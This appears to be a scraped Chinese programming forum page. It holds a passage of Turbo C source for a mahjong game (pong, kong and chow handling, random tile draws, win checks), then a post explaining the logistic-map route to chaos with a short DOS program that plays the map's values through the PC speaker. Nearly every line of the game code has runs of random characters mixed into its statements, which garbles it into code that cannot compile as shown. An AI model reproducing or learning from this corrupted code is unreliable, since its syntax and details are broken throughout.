# p* \# a  p* `8 Hx1=160;! _6 ]: l4 t7 l. \4 _
y1=165;
8 M/ v( e8 n8 o6 {8 CfillRectangle(x1,y1,x1+20,y1+4,0);
: H) X- ^( b' o}
3 S0 `" x  b! Iif(every==8)
, s" p% p' _9 [) x  U! {{
3 K* d: h( F5 p9 x. [2 h6 bx1=180;
) ?6 o0 `" V! _+ jy1=165;4 @+ G1 H/ T- J/ c% \1 |! p
fillRectangle(x1,y1,x1+20,y1+4,0);
; A# }8 c. o/ |}
- G! I" O* J" B( T7 L) k7 I+ c+ pif(every==9)( Z* ?5 L- Q6 }
{/ X+ S) ?0 c& L; v/ p' t9 o& D0 W! Y
x1=200;" ~+ i3 y# y. w$ J
y1=165;2 P+ Q# S' k# v4 w
fillRectangle(x1,y1,x1+20,y1+4,0);" g( _4 V; S) |1 J
}7 G" g9 Y3 X+ {" f) E+ ^6 a
if(every==10)
: P2 E* k9 v4 o% D! ]{/ u7 `; d6 e! D3 i# _9 u2 c( M
x1=220;
# w6 _* J% u' J6 `" H$ o0 K) Y$ G" _y1=165;) T8 u7 t. V& z: f, O3 W' l
fillRectangle(x1,y1,x1+20,y1+4,0);: u$ ?4 k$ ], e4 B; n! {& s! r& y
}
5 v1 K* ?+ u4 y, Q: L; R# e$ u* Q* Sif(every==11)
# o6 x! Q6 B# p8 m: s9 I7 x  w( S{
) Y2 O* m3 v, \. k( {x1=240;
, s5 v  Q8 S3 C: G+ {' Q) [y1=165;
7 `6 M7 a+ [. A% [# V$ ?9 t$ bfillRectangle(x1,y1,x1+20,y1+4,0);
$ x: C6 ]3 z2 S) k& w4 P}" |( e7 W5 x$ U& Q% E8 q9 ?
if(every==12)  T% v0 P6 W/ o) J* v
{. z. L! a' W* Q
x1=260;
4 N8 I9 q% b+ G7 Wy1=165;
" ~+ b6 ?6 V5 N/ e% pfillRectangle(x1,y1,x1+20,y1+4,0);
% v# B( E1 v1 t}. V. Q- T) O* {3 U
# p5 G  ~8 y7 Y: K0 f: P: @# {' R- G
zz=0;4 d$ j7 G( k; m- S, Z
every++;% p! ~; h5 a. A! F& |# B( t2 f
z=z+20;: P: Q, A# M# V7 J6 G" a/ {6 C: o
}
7 c* Z) ^- W, S' `& c9 B( h' jshowbmp(every);
! K. N/ z6 x& m, ?; f% bkey=keyy;8 ?: m  I+ T" X& N' N
if(keyy==ENTER)! N4 T% G& e. j
{
7 f9 Y! R1 s+ N7 Nrgzn(every); /*********************/
! D  p) Y# C  `  K6 f. Hif(sing==1) /*如果可以乓,做相应的处理*/
! ^7 `+ w. W* V  ?! Z- f" J5 ?{ 0 A4 P/ x% K1 B
kkk=0;
2 J* A( C; v3 `2 h  Okkkk=0;
, w4 X8 N, N* u0 S0 K; h% ?while(kkk&lt;=computer.m)9 o' M8 r. Y) n' S& u
{1 }  D) {9 a- g
if(computer.pp[kkk].p!=1)
1 y; @* S( N6 o! Y& c$ N{0 f: P/ L. [+ w: F, Y* v. S
comp.pp[kkkk].k=computer.pp[kkk].k;
: z0 y4 Q* N8 i+ u2 |comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# `" c; C. k" @
comp.pp[kkkk].number=computer.pp[kkk].number;4 o) R% t- P4 ~0 l  p9 V) M9 M1 k9 U  ]
kkkk++;
2 a# R' R/ V( e  b0 N( m}
" C. P, {+ r$ q2 _1 V5 `else9 r+ s8 X: H, T5 p: b- E, I
{
# U$ C. g, u9 b5 P3 w/ v! h+ im[computer.pp[kkk].number].data1=1;
1 x9 X4 \+ d3 Q. v! Udwei=computer.pp[kkk].number;, u  J' R1 z; }+ i6 W  G# L
computer.pp[kkk].p=0;
, @$ g. @" m3 v2 N7 D& u}
  V' `: m$ s, v: S  |) k7 [) Dkkk++;# G8 Z( O" v$ M2 f9 G3 G8 m1 H
}, Z. P# t1 O+ z- X+ f2 y
ll=0;. ]0 M2 t2 ]2 I- z3 A
# G" i' @* j; ^" z
while(ll&lt;3)
- p, B8 @, w  o) v{ zl=zl+20;3 ~% ^& O, {, V' r) z
bmpp(dwei); /*显示乓的牌*/* J' b5 E; b8 G" t7 L
ll++;
) l6 ?# ]+ n  S0 n  z( r}
: e; K- |" j5 e9 m: y: M
- B2 b* }, B# @4 V8 m' _) Lzl=zl+9600-60;
7 e  Q. P4 f, l4 Ckkk=0;2 M6 q( ~& c: L6 l8 s; m: ^& T1 f! f$ n
computer.m=computer.m-2;" d  z( `4 n) G; {7 U' M# w
while(kkk&lt;=computer.m)" n) K( X# s' t5 m/ s
{) w; g% ?3 P. @7 F3 x" E6 |
computer.pp[kkk].k=comp.pp[kkk].k;
  \" ]) b7 @) m: j6 L2 H7 bcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;& t# x, I: S5 L, [, D% b
computer.pp[kkk].number=comp.pp[kkk].number;
* ~  T6 b# F6 bkkk++;% h& Y7 @! G. @+ z! w( }! ^
}
* E) k* @0 A" P1 G3 Q9 a) [6 Lll=0;* [. V! l8 ^$ z2 q
temp=random(computer.m); /*出牌等待完善*/
. A  f. N4 `: i' [  I4 B, z: A  Jzyy=zyy+9280+20;
9 O& ^# e8 {  Nshowcbmp(temp);
3 b# e9 `9 k6 g% Szyy=zyy-9280;: l5 s7 b* }# z. p5 @9 N$ f4 w4 a
/*****/5 u* P' K1 _- |1 S0 w
rgznme(temp);
4 p+ E* s. V# X; M- o' d2 D$ r. @panduan();
1 S# E0 j" ^  P3 _if(me.m==0)
" B! s& ]$ ~$ Nif(second==1 &amp;&amp; threes==0)
0 ^- H8 S7 k# N) |4 z' g2 |printf("you win!");
1 o9 `4 P: J/ [7 L' W2 mif(me.m==3)
9 f9 V8 g5 c1 P' F+ ]1 rif(second==1 &amp;&amp; threes==1)
1 y' R  j5 e' D& Gprintf("you win!");+ K: ~5 r& ~' A& C: x
if(me.m==6)
! [4 Z" g. Y" H7 |if(second==1 &amp;&amp; threes==2)
& Z2 Z0 U  ~$ f; q3 kprintf("you win!");
% J4 f: c1 t& Dif(me.m==9)4 d! x: ~5 c2 X& h8 H
if(second==1 &amp;&amp; threes==3)! w0 k7 E9 I; n  R" U' D- a
printf("you win!");* h/ w( `3 I% h) E
if(me.m==12)
* J; B+ z* t( a0 g/ q/ l" t% nif(second==1 &amp;&amp; threes==4)
  L# ]3 ]- t& E+ g5 x$ xprintf("you win!");
8 j, U* y- r! N9 x+ D( x( ?- S1 J7 k5 u4 z& M% o
kkk=0;
: q' G/ O8 o/ u9 Kkkkk=0;
) Q! J3 b- o- Ewhile(kkk&lt;=computer.m)+ X4 X' c1 A8 {' r) l
{
1 e3 }: d4 |2 l0 {9 \, X5 u3 Qif(kkk!=temp)# G. O  t5 B6 S% _; e& Q, V
{3 L( a7 ^/ j7 f  l% h+ B
comp.pp[kkkk].k=computer.pp[kkk].k;3 [" S# a" p+ r. g6 X& u6 O
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
  f9 A1 m" M- Y, }! H3 _6 V+ _7 J0 Q8 pcomp.pp[kkkk].number=computer.pp[kkk].number;
0 o. Q' A: O' U* Q4 pkkkk++;
! w" H" p7 J5 c  {  `  \2 F0 L}& e, @$ t9 h1 Q5 m# a) F, @1 l
else4 L% k# @. a/ Q. {0 k
m[computer.pp[kkk].number].data1=1;; W; r/ d  r) ~9 N( K  D) N
kkk++;% b7 G- ^/ T8 D# J3 m+ C2 i
}7 w; P" \$ Z* m0 v
kkk=0;
1 u& d+ G- q* W+ T/ mcomputer.m=computer.m-1;2 X/ p: I+ `1 t% Q
while(kkk&lt;=computer.m)
# t8 ^/ }9 Q' X, c{
' Q- p& Q( b  X. t! Vcomputer.pp[kkk].k=comp.pp[kkk].k;
- }- ?: ^* \- Z7 N+ Ncomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;3 d- M9 A9 n% E* J  K+ Y
computer.pp[kkk].number=comp.pp[kkk].number;3 }/ ]; t. i: B# r6 r, O$ a
kkk++;. o" K2 U8 o3 s* h- T" O+ w9 c
}  }0 G' ]% U, M* B" {
fillRectangle(0,0,320,30,0);0 @% U5 Y% L, y" S1 ?3 G+ s
n=computer.m;
; h: t) C: f$ y0 j* E8 rll=0;
% d3 I- p) W/ f# z( S. Rzy=0;: e* @( {  O: m$ S8 v
while(ll&lt;=n)  p/ ?* n) H0 }  q( m  |) c/ y
{1 g" [$ i* |; H& K! e% I; `5 P
zy=zy+20;
* u5 p9 M) \! F1 ]$ B1 _showybmp(ll);0 G: j; A: \; P0 ^$ z6 C4 P
ll++;1 J8 K: g# q3 Y7 S( o
}
5 ~( E' `+ @+ J/ O4 Pll=0;
5 t! k! Y8 D; j% p& ]' Kgetch();& s5 j" ]2 R3 Y0 M' s9 t2 P
sing=0;' ~( ^# V. H7 k+ j$ ?4 q
sing1=1;# C% W6 |8 t% D" {4 y
}; i# w) k# p1 g  s" q3 {" Y) {

, `4 I. `) M. T. Vif(sing==2) /*如果可以杠的做相应处理*/
3 n3 _: b# _! _  j, L% Z# |; w{
! B, u( ]% K( }) a% |kkk=0;
" F; W! [$ e" j( G5 ?* f0 L/ B1 _kkkk=0;
! S2 u/ [7 T: N( j. \! \4 Cwhile(kkk&lt;=computer.m)
) |) j- M; [3 z{
( A1 k  }2 S" A, E& |2 S( O% b4 yif(computer.pp[kkk].g!=1)
4 L( B# q" ^9 B+ C3 T/ c1 o{
. v9 l8 r% r1 Xcomp.pp[kkkk].k=computer.pp[kkk].k;. ^8 f- h4 U+ G1 u4 d
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;6 ^, {4 Q( F2 z* O5 H1 I7 z
comp.pp[kkkk].number=computer.pp[kkk].number;! a1 Y4 ?# R) }! T8 K
kkkk++;
5 ]; I* Y7 v/ H2 ~, x}; U' c$ \3 q" s/ u5 {+ \
else
1 p* w$ a6 r2 y  L9 d: c  A; |& T8 v{, e1 b/ e) u, x! m& F/ i, W8 H9 F
m[computer.pp[kkk].number].data1=1;9 l5 C* m; D) Q' N4 z2 p3 C- L
dweig=computer.pp[kkk].number;
+ ]5 H+ O$ q( ~computer.pp[kkk].g=0;% V7 Q4 {" p- ?) b2 M
}$ f! l& O' @1 c0 J7 r$ D
kkk++;
& g/ z/ L* Z3 e* ?& R; b8 f8 Y% O% B}0 q2 e0 a7 y4 C" u# Q4 q
ll=0;
, x" i" p' M* v; B, O8 a
  K% X1 J- C+ D: A$ Iwhile(ll&lt;=3)
6 t( M( Z& r$ V$ F3 q  d{ zl=zl+20;) x& v* x6 e6 G' u7 @
bmpp(dweig); /*显示杠的牌*/
8 a+ b/ {0 n" p! c! N# gll++;3 i' |7 m7 R2 q  @( j! N
}# e  J$ ^5 S' l# z
zl=zl+9600-60;" B- \9 i6 ~' ~# T9 ?& [1 ]' r
kkk=0;. e; u. ]" t: d
computer.m=computer.m-3;
+ r  q2 h; a4 p; k) ewhile(kkk&lt;=computer.m)/ d3 v9 ]! ?4 b2 J" X5 \
{9 Z8 m* \8 e5 W9 E6 i5 ]
computer.pp[kkk].k=comp.pp[kkk].k;
3 h4 W, g! b, ]computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
" u+ B5 |; \( ~* c( X6 Jcomputer.pp[kkk].number=comp.pp[kkk].number;% f5 F+ L: d6 l0 b& C% \# {
kkk++;. g4 ]6 C: k+ i& g
}
0 B2 x/ J; W& B  b& Ukk=0;5 \# n) W5 n! E7 a
computer.m++; /*加一个牌的容量*/, U9 `/ m; x# J6 ]' N
while(kk!=1)( s5 K- Q3 l, N. x+ J9 J8 c) v
{
7 U$ |0 v  v% B+ L/ jtemp=random(136); /*出牌*/
# R9 @- G6 E: d6 v+ S* `if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
) j. k9 B& T4 Q2 ~4 Z- y& ]{
, @5 m6 ^& [' E1 f& w1 X& xcomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/( a. g# X: C3 U( i% d' ^% s7 H
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
2 `$ V4 h# Y9 f; {  {5 rcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/6 y$ y; W2 ]1 t2 ?6 E
m[temp].data2=2; /*判断牌是谁的,2为电脑*/, r8 H) G4 J0 T
kk=1;
( n* }8 n+ j& ^0 ~9 a}
" B0 C, E% X1 _5 L9 S' T}) V5 c! J1 V3 e
comlipai();6 `% S2 N4 h" o8 {( r- q. I
temp=random(computer.m); /*出牌,等待完善*/0 [. l; o5 H( n' `, ~2 }2 k
zyy=zyy+9280+20;* |( j2 |' C* R" U: J2 k& b  M7 b
showcbmp(temp);, s( {/ y" f% w
zyy=zyy-9280;
  G5 w5 b' k" F/*****/8 h& b% |  c& T6 T# g8 W, T
rgznme(temp);- V8 X1 g& Q* o. F/ R/ f. u: p9 W% O
panduan();
$ O& x6 O* e1 d! {, W* f: w1 {& E5 |if(me.m==0). ]/ |0 _" l+ \+ N9 l$ h
if(second==1 &amp;&amp; threes==0)5 c8 Z  [$ `, y7 _
printf("you win!");8 Y$ K- w  o2 i2 s& W1 G) ~! L1 a# L
if(me.m==3)1 B0 A9 c- i. F9 v. P
if(second==1 &amp;&amp; threes==1)
* {0 H  {) `3 }5 p" K$ x) v* kprintf("you win!");- f  }& ]8 i: G
if(me.m==6)- O- t* d& R0 y& ?; B2 j
if(second==1 &amp;&amp; threes==2)
) ?! e: e+ Y4 q$ Q; pprintf("you win!");0 K' _+ V) G* A  M2 n" K6 w
if(me.m==9)
* _! F5 I6 y/ T7 C: ~" d. Kif(second==1 &amp;&amp; threes==3)
# ~8 `2 [/ ]/ Eprintf("you win!");- U0 G$ W1 o/ [* J
if(me.m==12)
" T; e& j" l; w0 ~( T/ Y4 b  oif(second==1 &amp;&amp; threes==4)
/ W. _9 H3 P* f3 y) r6 T( F% ]+ Oprintf("you win!");
  h" t$ {- j6 h. \# a% x3 n: B- T8 R" M% ]3 d& L2 D3 n) l
kkk=0;
5 J& z% [- H4 [1 ]1 a. [: z- }kkkk=0;
( v: h# }) n9 {* }/ N. j8 dwhile(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/
4 K; E; m6 R6 f9 n2 H( M{/ N% L9 I" ]" r2 D  K: @/ q9 C" E
if(kkk!=temp): G& A* y. Z* e( @" e
{
& b- R$ n  |- I+ r9 r. zcomp.pp[kkkk].k=computer.pp[kkk].k;5 X- u, ~& a0 v; U! V
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;4 Y$ w1 S+ w( P/ `- T
comp.pp[kkkk].number=computer.pp[kkk].number;7 y# Y6 c0 G7 I
kkkk++;* W+ V  Q. j" `% [5 e
}) J  {- A- h# e3 m0 e  Q
else7 M% c" b% ~% n
m[computer.pp[kkk].number].data1=1;
6 e! p& w. |& D  ~1 ^kkk++;* J* U$ g: z4 k3 c  d) G
}) Q! K, }8 b% v' s. U/ g
kkk=0;
' |; f$ P2 }" q! W1 J* F6 e9 Rcomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/, f4 t4 p: @1 z, r9 |. H5 g
while(kkk&lt;=computer.m) ' Y9 _" x5 c+ o% @  t
{! [, f9 ~1 i, h2 P) B/ t& [5 U
computer.pp[kkk].k=comp.pp[kkk].k;7 h) ?" t1 x1 \6 \
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* j' s7 I# B6 a" @- l# T. J7 T7 h
computer.pp[kkk].number=comp.pp[kkk].number;
. G4 p" L  Q+ U2 n. Q* y/ z) j& F+ c% Vkkk++;& S' B! V8 f# {6 r+ L8 r
}
% J! |% W- c1 v$ h7 sfillRectangle(0,0,320,30,0);
+ G2 B) a- `# }4 Vll=0;; J; T* ?( R$ Q1 v9 q
zy=0;2 d& J5 h3 z4 A; x1 A
while(ll&lt;=computer.m)
# Q/ B: M9 s2 @6 c* ]& ]( z{5 k& l# f' l$ e8 i5 j- z& ?
zy=zy+20;
/ [, ^$ H& Q- w: l- H, Zshowybmp(ll);4 C: m5 N% v0 x
ll++;# f! y  u6 }$ J% n# n2 C) Z
}
! C! n% p) u: @3 V2 Z3 s7 ?9 dsing=0;7 G8 K' ~3 H6 z% w1 Z* i+ j- w
sing1=1;
% _+ T& j0 N; M$ h) b: P: |: f' R}
* K. L0 J6 @9 f( \2 D* rif(sing==7) /*如果可以吃的,做相应处理*/
' t% N5 s" w% @  ~7 U{ nn=0;
' I0 ^6 K8 n( {/ ukkk=0;
6 W+ r' F! ?4 S: N2 y5 P/ hkkkk=0;
( O* D" o9 {3 e) n$ Fwhile(kkk&lt;=computer.m)& [+ @8 P7 @% Z) J
{) ~5 R" E6 M) t4 ^+ R4 P' O" H+ T' L/ h9 k
if(computer.pp[kkk].c!=1)
! t( T- H- F0 r* F8 T9 p$ p- Y% k{
+ m  l* k& x7 I$ p: H  {% D3 d! `comp.pp[kkkk].k=computer.pp[kkk].k;
' [2 m( o6 u* @( {4 Vcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;' j3 @9 P% W4 x+ ]* Y: X$ Y7 O
comp.pp[kkkk].number=computer.pp[kkk].number;
5 Q( S2 l( L! g  g1 Z# Akkkk++;
: ^0 `4 G" c; ^* ~6 o}1 e" I5 x7 z/ I$ _: N* p
else
: z" s6 {4 Z/ [8 ^{- m1 K8 }/ J. }0 A+ I3 D6 e
m[computer.pp[kkk].number].data1=1;
2 [) q5 K! m& jdw[nn++]=computer.pp[kkk].number;# C3 X8 _5 ^( n/ K
computer.pp[kkk].c=0;7 {1 N' B; }2 _6 O5 P; S' K
}  A% W8 k) L1 ?! b
kkk++;: C7 ]- S0 Z9 |/ ?1 [# z( M
}
2 |2 _2 I+ s- h# C8 I
" s' {, H2 a+ R' ?4 A. vif(me.pp[every].number&lt;dw[0])6 o; j& Q! _7 x, U
{
  e/ q# N# _1 G4 W+ [+ m& vdw[2]=dw[1];
8 |$ S2 {- V" v: adw[1]=dw[0];; a* w7 _8 Y+ F, X$ u, @' h1 t( G
dw[0]=me.pp[every].number;
" X6 N6 s( d( Y) J}0 m7 k/ r  r. @) ]4 i' B, I
if(me.pp[every].number&gt;dw[1])
. _5 P8 w$ B( R* e: u" G1 L{
1 U( c6 M6 c- Ddw[2]=me.pp[every].number;# ^! G) b: z1 Y) P$ Z1 ]
}8 C6 C  g; L8 n' Z$ y* g) g
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])
( E' n$ v! ^4 ?  Y+ l{
1 _' C; j0 ^) S' Wdw[2]=dw[1];
" O5 B, D' D# O6 R  O) b9 ~+ Y* Sdw[1]=me.pp[every].number;
  `  X' y7 a# d9 Z. T. a}
! O$ z  t8 }3 ?) n# {3 k- g2 Bnn=0;) q1 u$ l3 V1 p# a; G
while(nn&lt;3)) `* `2 O, K# J' Y# d* D3 P$ I) v
{ zl=zl+20;7 ~4 X0 F" Y0 K( A0 \( ^
bmpp(dw[nn]); /*显示吃的牌*/4 T  f3 X9 j3 g3 Y& j
nn++;
0 p* j1 x6 K3 l& ?# ^}
" x' R# }% a: ^8 B4 uzl=zl+9600-60;
, Z; y# O0 n7 K( Y( L  ykkk=0;0 Q% G. C- p; K" p: I
computer.m=computer.m-2;
& _8 F2 I0 T1 c. x+ x) m' cwhile(kkk&lt;=computer.m)
: p! q5 B+ K$ A( u& l# E{
' K# j* Q' b. p* I  U7 mcomputer.pp[kkk].k=comp.pp[kkk].k;
- n3 e( P  P) @* kcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
2 `- ^1 o5 A0 ycomputer.pp[kkk].number=comp.pp[kkk].number;! k  @8 I4 h0 u) |: N
kkk++;
& z% g0 @4 `  Y6 O. @}$ z& N5 }+ I8 ?- q- O
ll=0;
7 A7 L& a, u5 t* _temp=random(computer.m); /*出牌等待完善*/
( ]# n  m% e5 A2 b' O0 i* hzyy=zyy+9280+20;" ?2 `7 m/ e% f  r* ~1 K
showcbmp(temp);
. _/ h% \6 a/ }+ mzyy=zyy-9280;# u# C! E  B8 K6 a0 h/ m" r
/*****/
# d, E9 w" T( D" Xrgznme(temp);% J" {: @: V- Z9 ^- R
panduan();3 o5 H7 p2 w; s, ]$ I! Q0 a
if(me.m==0)+ ]3 B0 D1 L- Y& o
if(second==1 &amp;&amp; threes==0)( C# c" X; T! U/ N
printf("you win!");
  P5 X# k) Y7 v1 Q0 B, }1 _if(me.m==3)
: k7 s& Y8 M5 O5 D6 R" \+ Y7 ]if(second==1 &amp;&amp; threes==1)
4 u  G7 {! p9 S# ]; w0 xprintf("you win!");2 A( P# O; l! Y
if(me.m==6)
- J; a# H% c" @- i4 Oif(second==1 &amp;&amp; threes==2)" f8 l+ d8 c; m0 h* m: S
printf("you win!");% d# m4 s( r$ _" `
if(me.m==9)
; t8 u# r" N2 ?# d+ bif(second==1 &amp;&amp; threes==3)8 {# J- H, v& O7 H- \3 D* Y. b6 {
printf("you win!");) g0 P- G3 \& w$ Y- _; y
if(me.m==12)
3 W0 G' C: e9 s: S8 E* F0 Nif(second==1 &amp;&amp; threes==4)
8 U+ f7 K4 f) H" ?+ m* hprintf("you win!");5 f' j+ m% `6 @9 h' N# h
: O6 p6 }7 b+ F& ^1 z/ c; d5 }) l) e
kkk=0;( O+ @3 o' b& ?" J# H' C
kkkk=0;  U2 j, B( L0 {! d' q
while(kkk&lt;=computer.m)# `* b9 q1 e* M9 d/ N  R8 |, R
{5 F/ b+ D& L- ^' u
if(kkk!=temp)2 F) u' A, X  B" f0 i; B8 h
{
, q+ S' z% W1 \/ j) r+ Ecomp.pp[kkkk].k=computer.pp[kkk].k;
/ o" Q+ g6 \+ L+ j, m, Kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;9 R3 m$ i6 N! W& m/ |
comp.pp[kkkk].number=computer.pp[kkk].number;; P! `. H& `8 @) I
kkkk++;
, ]5 s7 ^/ F! k, o, v6 p1 [}
$ \" c- P, q9 [- P: E3 W0 m8 I, jelse; b' @3 H) h, ~: y) _6 @
m[computer.pp[kkk].number].data1=1;
( N) {. C: J+ D% m: Gkkk++;
( S9 J( S* Y, s7 ^* x}
; P( N4 B5 f8 [8 s' z) w2 u6 u- }kkk=0;
% G5 g6 {* q; l$ zcomputer.m=computer.m-1;
0 p. G5 W/ @: [' Iwhile(kkk&lt;=computer.m)
, j7 \- _! T; R{
  v- t% M6 {4 W9 vcomputer.pp[kkk].k=comp.pp[kkk].k;$ n' ~$ d0 X: ]- A: }) S
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;7 x! @2 L3 W3 J) ~# l
computer.pp[kkk].number=comp.pp[kkk].number;
+ N& C; [+ B, Y/ J) q; _kkk++;8 g/ v. Y8 k# i, V- E
}1 j0 v: b" b; i! U2 r* i- t; c
fillRectangle(0,0,320,30,0);' a/ o! A( M( c$ C: W! f
n=computer.m;
, Y: a# q2 M  S: \ll=0;/ X: {0 K. U) K( ~- q. u1 O
zy=0;7 m- {) |  a4 k2 g" }" c+ V
while(ll&lt;=n)
: g6 [4 V, P6 t9 X/ n{
# V8 @1 m' D+ ]  czy=zy+20;$ s3 z& X( l1 p4 A  {: U
showybmp(ll);
% l, h; z/ X; x& Dll++;
) P- H1 U* w7 c3 E- R7 s7 H. `}
- u# b3 _2 G' M  V% }& s+ N4 w$ d% m% |" l7 z, ^4 u0 N  c  x
getch();
" s. d$ v1 \9 \, y: Q5 ^, Xsing=0;6 [( M& H1 S" C; Q* x
sing1=1;7 M7 h; t/ k, x9 d
}. }! O+ |' {( w6 i" ^
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/$ O0 a- o$ i6 b# k4 {. H* V
{
; f& K5 C& r1 skk=0;( `9 D  x  B' a; Q4 d* J) |
h=me.pp[every].number;) B9 h7 N4 I% [9 t0 m2 M
m[h].data1=1; /*此牌已经无用*/& W1 l# B8 b+ C5 Y
if(sing1!=1). M& m5 j) t! D$ p* {6 ~* H+ {, C
{4 g7 e/ c* ~7 E% g! U4 @/ Z
zyy=zyy+9280+20;% ?) @& }) \5 I, r6 V- m3 v
showbmpd(every);( e/ U  g/ w& q( b' n
zyy=zyy-9280;1 v( [- b" O7 r& M5 }! U. ?2 |
}6 g0 b9 f0 I  \; F
while(kk!=1)+ A2 F' i) }1 q' H6 G
{5 _% U/ H/ K! S; f
temp=random(136);
7 l+ q2 u/ G# [% ~0 q5 c4 pif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
2 z) u0 {) I+ s9 E. \+ ~8 ~. w{# K9 S% c( v1 S) X$ A& w3 @
me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/9 d& U. D$ x4 Z; }1 H8 g' Q0 _. t
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
1 S, j1 X% U" O+ f  B( sme.pp[every].number=temp; /*第几张,用来排序*/
( e# D' D/ Z6 T9 U& _0 j+ zm[temp].data2=1; /*判断牌是谁的*/; b& D7 H6 l4 B* u( y, v0 J
kk=1;
+ p0 x& v7 h1 t% R: H, K. Y/ @}
5 J# X+ }0 o1 r# Oif(kk==0) /*判断如果又选择了,就从新再选*/
* {  T1 |! F# d( S# P7 ^kk=0;  s) C# E0 r. P8 r: Q! z! u2 D
}. \/ C: j- G' R6 V: u! e9 m" W
}
6 F. \& C* f9 y+ I& @, Ssing=0;' n) F8 G. Z5 s3 |) n) ~9 ]
sing1=0;
% o: j' x: Z  {0 l. a; Ymelipai();
: q* H$ D: ]* b+ W$ H) P: mn=13;! H0 D! g# v, ^) k0 b* C8 S! h
z1=54400;
' Z( j8 A6 w" L- k. `l=0;
; m) C2 G- N" Lg=z;
% e$ p+ N! n' l+ e) U  }5 s' Y) Mwhile(l&lt;n)
) a- H: l9 `% A$ J9 x1 D6 e7 y$ k9 ]{ z=0;' B5 D: I. h! b- ^/ i+ Q8 I1 m- G
z1=z1+20;3 a, M& `) O. b5 ~' L" x' S3 `, a% f
showbmp(l);
( Y7 ?& D% I1 |. B& o! H) bl++;, Y4 k0 O% H7 |' L, ]" x' S
}
( Z+ ~  ?8 q/ n6 Lz1=0;5 m6 j" \# k/ o
z=g;) B) i3 W8 G: A# M- u2 e
}
  P4 {! L9 d/ _- j2 L3 B0 \$ okeyy=0;
( e4 p) M: d' ?6 m}
: B0 F8 P  K( n7 _- a
6 B: {% [# w% t! L* kgetch();5 c1 g" J$ k$ q) a- o% e/ S/ R/ T, w
OUTVGA;
9 F% \  @6 ]9 V* t}
- J: Z$ O( G1 ?9 \</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])" U( s. x7 n1 j$ s6 e
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:* g0 ^: o( C7 \1 S+ F
" l7 d' k# ]; Y* F
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
9 f+ B9 _7 g# {& b0 S: o/ N: \  <FONT color=#009900>#include <DOS.H>
" u: |6 b* f1 J( A8 w. J( q  #include <STDIO.H>$ c' P. ~, V0 }9 S# ]) y# b7 B
  main(){1 Z- ?: e1 m7 h9 K& |
  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
  g( I6 H4 @) U" J" E/ K" R  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
) Y  \3 @3 }& h( H# n' q5 e3 A  /*i,j用于循环记数*/% H& j' s) g  k" z( q6 `  G
  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/
6 e/ W" Y6 J8 V$ O7 ~- F, m; d  fDis=fMax-fMin;
+ n+ {4 O1 c) ~7 g  for(j=1;;j++){8 x0 b+ [. \9 T! ^
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/+ m5 K- B# P# M: ]5 l+ B8 P
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
2 T: L6 M4 w1 }. C7 c' u. Q1 t7 _! @  scanf("%f",&k);
9 A+ j3 C* T3 _, B  if (k==0) break;
' s3 w0 [1 M* I9 z0 g% K4 t  for(i=1;i&lt;100;i++) /*去除开始的100个点*/2 u! Y4 _* l: `) @9 x8 u0 N+ s7 p
  x=k*x*(1-x);# a1 I8 k7 g  t3 y( i* A
  for (i=1;i&lt;100;i++){
0 c8 B, c* d$ n; b2 E5 {: W  x=k*x*(1-x); /*计算x的值*/% F# f) ]( h1 r
  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/
" S- f" s& F# S8 j8 X  delay(1000); }- }9 Y8 A0 G5 e9 ~! i6 T" a* k
  nosound(); }}
